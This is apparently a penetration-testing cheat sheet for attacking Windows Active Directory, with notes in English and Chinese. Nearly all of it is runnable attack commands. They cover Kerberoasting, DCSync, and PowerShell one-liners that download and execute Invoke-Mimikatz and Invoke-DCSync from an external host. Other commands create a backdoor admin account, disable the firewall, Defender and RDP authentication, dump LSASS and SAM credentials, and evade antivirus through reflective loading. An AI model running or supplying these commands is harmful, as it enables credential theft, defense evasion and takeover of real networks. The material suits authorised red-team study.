#https://github.com/skelsec/kerberoast
​
​
IMPORTANT: the accepted formats are the following
<ldap_connection_string> : <domainname>/<username>/<secret_type>:<secret>@<DC_ip>
<kerberos_connection_string>: <kerberos realm>/<username>/<secret_type>:<secret>@<DC_ip>
​
​
​
Look for vulnerable users via LDAP
kerberoast ldap all <ldap_connection_string> -o ldapenum
​
Use ASREP roast against users in the ldapenum_asrep_users.txt file
kerberoast asreproast <DC_ip> -t ldapenum_asrep_users.txt
​
Use SPN roast against users in the ldapenum_spn_users.txt file
kerberoast spnroast <kerberos_connection_string> -t ldapenum_spn_users.txt

AS Rep Roasting

#Accounts have to have DONT_REQ_PREAUTH explicitly set for them to be vulnerable
​
Get-ASRepHash -Domain m0chanAD.local -User victim
​
Can also use Rebeus (Reflectively Load .NET Assembly.)
​
.\Rubeus.exe asreproast

DCSync (Also Post Exploit)

#运行DCSync需要特殊权限。 管理员，域管理员或企业管理员以及域控制器计算机帐户的任何成员都可以运行DCSync来提取密码数据。 请注意，默认情况下，只读域控制器不允许用户提取密码数据。
​
#and anyone with the Replicating Changes permissions set to Allow (i.e., Replicating Changes All/Replicating Directory Changes)
​
mimikatz # lsadump::dcsync /domain:corp.local /user:Administrator
​
powershell.exe -Version 2 -Exec Bypass /c "IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.6:8000/Invoke-DCSync.ps1'); Invoke-DCSync -PWDumpFormat"
​
​
Empire Module: powershell/credentials/mimikatz/dcsync_hashdump

Post Exploitation

Useful Commands

net user m0chan /add /domain
net localgroup Administrators m0chan /add
​
# Enable RDP
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
​
Turn firewall off
netsh firewall set opmode disable
​
Or like this
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
​
If you get this error:
​
CredSSP Error Fix ->
​
Add this reg key:
​
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f
​
Disable Windows Defender
Set-MpPreference -DisableRealtimeMonitoring $true

Esenutl.exe Dump Locked File

C:\WINDOWS\system32\esentutl.exe /y <SOURCE> /vss /d <DEST>
​
​
在您要dump SAM（或）SYSTEM但文件已被OS锁定的情况下很有用（Windows 10）

Check if Powershell Logging is Enabled

reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription

Run Seatbelt (ABSOLUTELY MUST)

#https://github.com/GhostPack/Seatbelt
​
This is stupidily good, it can literally Enum everything you require and is also a .NET Assembly so can be reflectively loaded to avoid AV :D Win Win
​
BasicOSInfo - Basic OS info (i.e. architecture, OS version, etc.)
RebootSchedule - Reboot schedule (last 15 days) based on event IDs 12 and 13
TokenGroupPrivs - Current process/token privileges (e.g. SeDebugPrivilege/etc.)
UACSystemPolicies - UAC system policies via the registry
PowerShellSettings - PowerShell versions and security settings
AuditSettings - Audit settings via the registry
WEFSettings - Windows Event Forwarding (WEF) settings via the registry
LSASettings - LSA settings (including auth packages)
UserEnvVariables - Current user environment variables
SystemEnvVariables - Current system environment variables
UserFolders - Folders in C:\Users\
NonstandardServices - Services with file info company names that don't contain 'Microsoft'
InternetSettings - Internet settings including proxy configs
LapsSettings - LAPS settings, if installed
LocalGroupMembers - Members of local admins, RDP, and DCOM
MappedDrives - Mapped drives
RDPSessions - Current incoming RDP sessions
WMIMappedDrives - Mapped drives via WMI
NetworkShares - Network shares
FirewallRules - Deny firewall rules, "full" dumps all
AntiVirusWMI - Registered antivirus (via WMI)
InterestingProcesses - "Interesting" processes- defensive products and admin tools
RegistryAutoRuns - Registry autoruns
RegistryAutoLogon - Registry autologon information
DNSCache - DNS cache entries (via WMI)
ARPTable - Lists the current ARP table and adapter information (equivalent to arp -a)
AllTcpConnections - Lists current TCP connections and associated processes
AllUdpConnections - Lists current UDP connections and associated processes
NonstandardProcesses - Running processeswith file info company names that don't contain 'Microsoft'
* If the user is in high integrity, the following additional actions are run:
SysmonConfig - Sysmon configuration from the registry
​
And more!!
Dump Creds
(new-object System.Net.WebClient).DownloadString('http://10.10.14.5:8000/Invoke-Mimikatz.ps1');Invoke-Mimikatz
​
Can also run Mimikatz.exe after some AV Evasion removing strings etc. ippSec has a great tutorial on this.
​
mimikatz.exe
privlege::debug
sekurlsa::logonPasswords full
​
The safer method is to dump the process memory of LSASS.exe with MiniDump
(https://github.com/3xpl01tc0d3r/Minidump)
​
(or) https://github.com/GhostPack/SharpDump
​
and send the .bin to Mimikatz locally.
​
sekurlsa::minidump C:\users\m0chan\lssas.dmp
​
Can also be used for dumping and pass the ticket attacks but will cover this elsewhere.

Mimikatz Guide

#Logon Sessions
​
sekurlsa::logonPasswords all
​
#Dump Cache
​
lsadump::cache
​
#Dump SAM
​
lsadump::sam

Dump Creds #2

#https://github.com/AlessandroZ/LaZagne
​
laZagne.exe all
laZagne.exe browsers
laZagne.exe browsers -firefox

SessionGopher

#https://github.com/Arvanaghi/SessionGopher
​
Quietly digging up saved session information for PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP
​
SessionGopher is a PowerShell tool that finds and decrypts saved session information for remote access tools. It has WMI functionality built in so it can be run remotely. Its best use case is to identify systems that may connect to Unix systems, jump boxes, or point-of-sale terminals
​
Invoke-SessionGopher -Thorough
​
Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p [email protected]

Dump Process Memory w/ Mimikittenz

#https://github.com/putterpanda/mimikittenz
​
mimikittenz is a post-exploitation powershell tool that utilizes the Windows function ReadProcessMemory() in order to extract plain-text passwords from various target processes.
​
The aim of mimikittenz is to provide user-level (non-admin privileged) sensitive data extraction in order to maximise post exploitation efforts and increase value of information gathered per target.
​
Invoke-Mimikittenz

pypykatz

#https://github.com/skelsec/pypykatz
​
Full python implementation of Mimikatz :D
​
pip3 install pypykatz

SafetyKatz

#https://github.com/GhostPack/SafetyKatz
​
Full C Sharp Implemenatation of Mimikatz that can be reflectively loaded :D
​
"SafetyKatz is a combination of slightly modified version of @gentilkiwis Mimikatz project and @subtee's .NET PE Loader.
​
First, the MiniDumpWriteDump Win32 API call is used to create a minidump of LSASS to C:\Windows\Temp\debug.bin. Then @subtees PELoader is used to load a customized version of Mimikatz that runs sekurlsa::logonpasswords and sekurlsa::ekeys on the minidump file, removing the file after execution is complete."

SharpDPAPI

#https://github.com/GhostPack/SharpDPAPI
​
Full C Sharp Implementation of Mimikatzs DPAPI features which allows access to DPAPI features.

SharpSniper

#https://github.com/HunnicCyber/SharpSniper
​
Often a Red Team engagement is more than just achieving Domain Admin. Some clients will want to see if specific users in the domain can be compromised, for example the CEO.
​
SharpSniper is a simple tool to find the IP address of these users so that you can target their box.
​
C:\> SharpSniper.exe emusk DomainAdminUser DAPass123
​
User: emusk - IP Address: 192.168.37.130

SharpLocker

#https://github.com/Pickfordmatt/SharpLocker
​
SharpLocker会弹出一个假的Windows锁定屏幕，帮助获得当前的用户凭据，所有输出均发送到控制台，非常适合cobaltstike。

Check for Missing KB’s

watson.exe
Sherlock.ps1
​
Use Watson.exe Assembly and reflectively load .NET Assembly into memory to avoid antivirus.
​
More at the bottom re. Reflectively Loading stuff. (Also does not hurt to change certain strings etc)
​
https://github.com/rasta-mouse/Watson

Decrypt EFS Files with Mimikatz if Admin/System

#https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files
​
cipher /c "d:\Users\Gentil Kiwi\Documents\m0chan.txt" - View if File is EFS Encrypted and whom can Decrypt, sometimes Impersonating a token is easier than manually decrying with mimikatz.
​
privilege::debug
token::elevate
crypto::system /file:"D:\Users\Gentil Kiwi\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\B53C6DE283C00203587A03DD3D0BF66E16969A55" /export
​